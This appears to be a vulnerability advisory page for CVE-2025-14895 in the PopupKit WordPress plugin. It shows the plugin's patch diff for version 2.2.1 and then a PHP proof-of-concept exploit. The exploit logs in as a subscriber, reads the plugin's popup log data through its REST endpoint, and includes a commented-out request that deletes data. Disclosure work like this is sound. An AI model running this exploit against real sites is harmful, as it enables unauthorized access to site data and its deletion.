 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -58,6 +59,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -73,7 +75,7 @@
                 'endpoint'            => '/popup/logs',
                 'methods'             => 'POST',
                 'callback'            => 'insert_logs',
-                'permission_callback' => [$this, 'permission_callback'],
+                'permission_callback' => [$this, 'pbb_nonce_permission_check'],
 				'args' => array(
 					'postId' => array(
 						'required' => true,
@@ -94,6 +96,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -107,6 +110,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -118,7 +122,7 @@
                 'endpoint'            => '/popup/logs',
                 'methods'             => 'PUT',
                 'callback'            => 'update_logs',
-                'permission_callback' => [$this, 'permission_callback'],
+                'permission_callback' => [$this, 'pbb_nonce_permission_check'],
 				'args' => array(
 					'id' => array(
 						'required' => true,
@@ -142,7 +146,7 @@
         ];
     }

-	public function permission_callback(): bool {
+	public function pbb_nonce_permission_check(): bool {
 		// check for nonce
 		return isset( $_SERVER['HTTP_X_WP_NONCE'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_NONCE'] ) ), 'wp_rest' );
 	}
--- a/popup-builder-block/includes/Routes/Subscribers.php
+++ b/popup-builder-block/includes/Routes/Subscribers.php
@@ -14,7 +14,7 @@
                 'endpoint'            => '/subscribers',
                 'methods'             => 'POST',
                 'callback'            => 'increase_subscribers',
-				'permission_callback' => [$this, 'permission_callback'],
+				'permission_callback' => [$this, 'pbb_nonce_permission_check'],
             ],
             [
                 'endpoint'            => '/subscribers',
@@ -29,6 +29,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -42,6 +43,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -74,7 +76,7 @@
         ];
     }

-	public function permission_callback(): bool {
+	public function pbb_nonce_permission_check(): bool {
 		// check for nonce
 		return isset( $_SERVER['HTTP_X_WP_NONCE'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_NONCE'] ) ), 'wp_rest' );
 	}
@@ -115,7 +117,8 @@
 			'zoho',
 			'mailerlite',
 			'convertKit',
-			'webhook'
+			'webhook',
+			'klaviyo',
 		];

 		// Loop through integrations and add to subscriber data if present
@@ -126,7 +129,7 @@
 		}

 		// Apply integration filter
-		do_action('pbb_form_integration_submit', $subscriber_data);
+		do_action('popup_builder_block_form_integration_submit', $subscriber_data);

 		return rest_ensure_response([
 			'status'  => 'success',
--- a/popup-builder-block/popup-builder-block.php
+++ b/popup-builder-block/popup-builder-block.php
@@ -3,11 +3,11 @@
 /**
  * Plugin Name: PopupKit
  * Description: Powerful popup builder with ready templates and easy customization.
- * Requires at least: 6.1
+ * Requires at least: 6.2
  * Requires PHP: 7.4
  * Plugin URI: https://wpmet.com/plugin/popupkit
  * Author: Wpmet
- * Version: 2.2.0
+ * Version: 2.2.1
  * Author URI: https://wpmet.com/
  * License: GPL-3.0-or-later
  * License URI: https://www.gnu.org/licenses/gpl-3.0.html
@@ -33,7 +33,7 @@
 	 *
 	 * @var string
 	 */
-	const VERSION = '2.2.0';
+	const VERSION = '2.2.1';

 	/**
 	 * PopupKit class constructor.
@@ -59,10 +59,15 @@
 		add_filter( 'plugin_row_meta', [ $this, 'plugin_row_meta' ], 10, 2 );

 		// Load the scoped vendor autoload file
-		require_once POPUP_BUILDER_BLOCK_PLUGIN_DIR . 'scoped/vendor/scoper-autoload.php';
+		if ( file_exists( POPUP_BUILDER_BLOCK_PLUGIN_DIR . 'scoped/vendor/scoper-autoload.php' ) ) {
+			require_once POPUP_BUILDER_BLOCK_PLUGIN_DIR . 'scoped/vendor/scoper-autoload.php';
+		}

 		// Plugin actions
 		add_action( 'plugins_loaded', array( $this, 'plugins_loaded' ) );
+
+		// Plugin unfiltered file support
+		add_action( 'init', array( $this, 'unfiltered_file' ) );
 	}

 	/**
@@ -178,7 +183,7 @@
 		 * This action hook allows developers to perform additional tasks before the PopupKit plugin has been initialized.
 		 * @since 1.0.0
 		 */
-		do_action( 'pbb/before_init' );
+		do_action( 'popup_builder_block/before_init' );

 		/**
 		 * Initializes the Popup Builder Block admin functionality.
@@ -193,6 +198,16 @@
 		new PopupBuilderBlockRoutesInit();
 		new PopupBuilderBlockLibsInit();
 	}
+
+	/**
+	 * Unfiltered file support method.
+	 *
+	 * @return void
+	 * @since 1.0.0
+	 */
+	public function unfiltered_file() {
+		new PopupBuilderBlockLibsUnfilteredFileSupport();
+	}
 }

 /**
--- a/popup-builder-block/uninstall.php
+++ b/popup-builder-block/uninstall.php
@@ -3,77 +3,119 @@
 if (!defined('WP_UNINSTALL_PLUGIN')) {
     exit;
 }
-// Get the uninstall setting value
-$uninstall_data = get_option('pbb-settings-tabs', []);
-$uninstral = $uninstall_data['uninstall-data'] ?? [];
-
-// Check if 'status' is set to 'active'
-if (isset($uninstral['status']) && $uninstral['status'] === 'active') {
-    global $wpdb;
-
-    // Define the options to delete
-    $options_to_delete = [
-        'pbb-settings-tabs',
-        'pbb_settings_list',
-        'pbb_db_version',
-        'pbb_fse_fonts',
-        '__pbb_oppai__',
-        '__pbb_license_key__',
-        'popup_builder_block_pro_installed_time',
-        'popup_builder_block_pro_version',
-    ];
-
-    // Define the custom tables to drop
-    $tables_to_delete = [
-        $wpdb->prefix . 'pbb_log_browsers',
-        $wpdb->prefix . 'pbb_log_countries',
-        $wpdb->prefix . 'pbb_log_referrers',
-        $wpdb->prefix . 'pbb_logs',
-        $wpdb->prefix . 'pbb_subscribers',
-        $wpdb->prefix . 'pbb_browsers',
-        $wpdb->prefix . 'pbb_countries',
-        $wpdb->prefix . 'pbb_referrers',
-    ];
-
-    // Define the usermeta keys to delete
-    $usermeta_keys_to_delete = [
-        // some usermeta keys
-    ];
-
-    // Define the postmeta keys to delete
-    $postmeta_keys_to_delete = [
-        'popup_builder_block_settings',
-    ];
-
-    // Define the transients to delete
-    $transients_to_delete = [
-        // some transients
-    ];
-
-    /** DELETE OPTIONS */
-    foreach ($options_to_delete as $option) {
-        delete_option($option);
-        delete_site_option($option); // For multisite compatibility
-    }
-
-    /** DELETE CUSTOM TABLES */
-    foreach ($tables_to_delete as $table) {
-        $wpdb->query( sprintf( 'DROP TABLE IF EXISTS `%s`', esc_sql( $table ) ) );
-    }
-
-    /** DELETE TRANSIENTS */
-    foreach ($transients_to_delete as $transient) {
-        delete_transient($transient);
-        delete_site_transient($transient); // For multisite
-    }
-
-    /** DELETE USERMETA */
-    foreach ($usermeta_keys_to_delete as $meta_key) {
-        $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->usermeta} WHERE meta_key = %s", $meta_key));
-    }
-
-    /** DELETE POSTMETA */
-    foreach ($postmeta_keys_to_delete as $meta_key) {
-        $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->postmeta} WHERE meta_key = %s", $meta_key));
+
+/**
+ * Uninstall class for Popup Builder Block
+ */
+class PopupBuilderBlock_Uninstaller {
+
+    /**
+     * Run the uninstall process
+     */
+    public static function uninstall() {
+        // Get the uninstall setting value
+        $uninstall_data = get_option('pbb-settings-tabs', []);
+        $uninstall = $uninstall_data['uninstall-data'] ?? [];
+
+        // Check if 'status' is set to 'active'
+        if (isset($uninstall['status']) && $uninstall['status'] === 'active') {
+            self::delete_options();
+            self::delete_tables();
+            self::delete_transients();
+            self::delete_usermeta();
+            self::delete_postmeta();
+        }
+    }
+
+    /**
+     * Delete plugin options
+     */
+    private static function delete_options() {
+        $options_to_delete = [
+            'pbb-settings-tabs',
+            'pbb_settings_list',
+            'pbb_db_version',
+            'pbb_fse_fonts',
+            '__pbb_oppai__',
+            '__pbb_license_key__',
+            'popup_builder_block_pro_installed_time',
+            'popup_builder_block_pro_version',
+        ];
+
+        foreach ($options_to_delete as $option) {
+            delete_option($option);
+            delete_site_option($option); // For multisite compatibility
+        }
+    }
+
+    /**
+     * Delete custom database tables
+     */
+    private static function delete_tables() {
+        global $wpdb;
+
+        $tables_to_delete = [
+            $wpdb->prefix . 'pbb_log_browsers',
+            $wpdb->prefix . 'pbb_log_countries',
+            $wpdb->prefix . 'pbb_log_referrers',
+            $wpdb->prefix . 'pbb_logs',
+            $wpdb->prefix . 'pbb_subscribers',
+            $wpdb->prefix . 'pbb_browsers',
+            $wpdb->prefix . 'pbb_countries',
+            $wpdb->prefix . 'pbb_referrers',
+            $wpdb->prefix . 'pbb_ab_test_variants',
+            $wpdb->prefix . 'pbb_ab_tests',
+        ];
+
+        foreach ($tables_to_delete as $table) {
+            $wpdb->query( sprintf( 'DROP TABLE IF EXISTS `%s`', esc_sql( $table ) ) );
+        }
+    }
+
+    /**
+     * Delete transients
+     */
+    private static function delete_transients() {
+        $transients_to_delete = [
+            // some transients
+        ];
+
+        foreach ($transients_to_delete as $transient) {
+            delete_transient($transient);
+            delete_site_transient($transient); // For multisite
+        }
+    }
+
+    /**
+     * Delete usermeta
+     */
+    private static function delete_usermeta() {
+        global $wpdb;
+
+        $usermeta_keys_to_delete = [
+            // some usermeta keys
+        ];
+
+        foreach ($usermeta_keys_to_delete as $meta_key) {
+            $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->usermeta} WHERE meta_key = %s", $meta_key));
+        }
+    }
+
+    /**
+     * Delete postmeta
+     */
+    private static function delete_postmeta() {
+        global $wpdb;
+
+        $postmeta_keys_to_delete = [
+            'popup_builder_block_settings',
+        ];
+
+        foreach ($postmeta_keys_to_delete as $meta_key) {
+            $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->postmeta} WHERE meta_key = %s", $meta_key));
+        }
     }
 }
+
+// Execute uninstall
+PopupBuilderBlock_Uninstaller::uninstall();

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14895 - PopupKit <= 2.2.0 - Missing Authorization to Sensitive Information Disclosure and Data Deletion

<?php
/**
 * Proof of Concept for CVE-2025-14895
 * Requires valid WordPress Subscriber credentials.
 */

$target_url = 'https://vulnerable-site.com'; // CHANGE THIS
$username = 'subscriber'; // CHANGE THIS
$password = 'password'; // CHANGE THIS

// Step 1: Authenticate to WordPress and obtain a nonce
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Get the login page to retrieve the nonce (log) and redirect cookies
$response = curl_exec($ch);

// Prepare login POST data
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);

// Execute login
$response = curl_exec($ch);

// Step 2: Access the vulnerable REST API endpoint to retrieve logs
$api_endpoint = $target_url . '/wp-json/popup-builder-block/v1/popup/logs';
curl_setopt($ch, CURLOPT_URL, $api_endpoint);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);

$api_response = curl_exec($ch);

echo "=== Exploit Proof of Concept for CVE-2025-14895 ===n";
echo "Target: $target_urln";
echo "Authenticated as: $usernamen";
echo "Vulnerable Endpoint: $api_endpointn";
echo "Response:n";
echo $api_response;

// Step 3: Demonstrate DELETE capability (optional, comment out to avoid data loss)
// curl_setopt($ch, CURLOPT_URL, $api_endpoint);
// curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');
// $delete_response = curl_exec($ch);
// echo "nnDELETE Request Sent. Response:n";
// echo $delete_response;

curl_close($ch);
unlink('cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School